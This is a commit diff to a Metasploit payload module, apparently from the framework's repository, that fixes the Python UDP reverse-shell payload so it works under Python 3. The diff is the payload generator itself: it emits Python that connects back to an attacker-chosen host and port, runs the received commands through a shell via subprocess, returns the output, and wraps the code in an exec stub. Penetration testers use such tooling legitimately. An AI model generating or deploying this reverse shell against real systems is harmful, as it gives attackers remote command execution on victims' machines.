fix #14207, fix python/shell_reverse_tcp on python3

modules/payloads/singles/python/shell_reverse_udp.rb

@@ -12,6 +12,7 @@ module MetasploitModule
   CachedSize = 397
 
   include Msf::Payload::Single
+  include Msf::Payload::Python
   include Msf::Sessions::CommandShellOptions
 
   def initialize(info = {})
@@ -47,7 +48,7 @@ module MetasploitModule
     cmd = ''
     dead = Rex::Text.rand_text_alpha(2)
     # Set up the socket
-    cmd << "import socket,os\n"
+    cmd << "import socket,subprocess\n"
     cmd << "so=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n"
     cmd << "so.connect(('#{datastore['LHOST']}',#{ datastore['LPORT']}))\n"
     # The actual IO
@@ -55,14 +56,11 @@ module MetasploitModule
     cmd << "while not #{dead}:\n"
     cmd << "\tdata=so.recv(1024)\n"
     cmd << "\tif len(data)==0:\n\t\t#{dead}=True\n"
-    cmd << "\tstdin,stdout,stderr,=os.popen3(data)\n"
-    cmd << "\tstdout_value=stdout.read()+stderr.read()\n"
+    cmd << "\tp=subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
+    cmd << "\tstdout_value=p.stdout.read()+p.stderr.read()\n"
     cmd << "\tso.send(stdout_value)\n"
 
-    # Base64 encoding is required in order to handle Python's formatting requirements in the while loop
-    cmd = "exec('#{Rex::Text.encode_base64(cmd)}'.decode('base64'))"
-
-    cmd
+    py_create_exec_stub(cmd)
   end
 
 end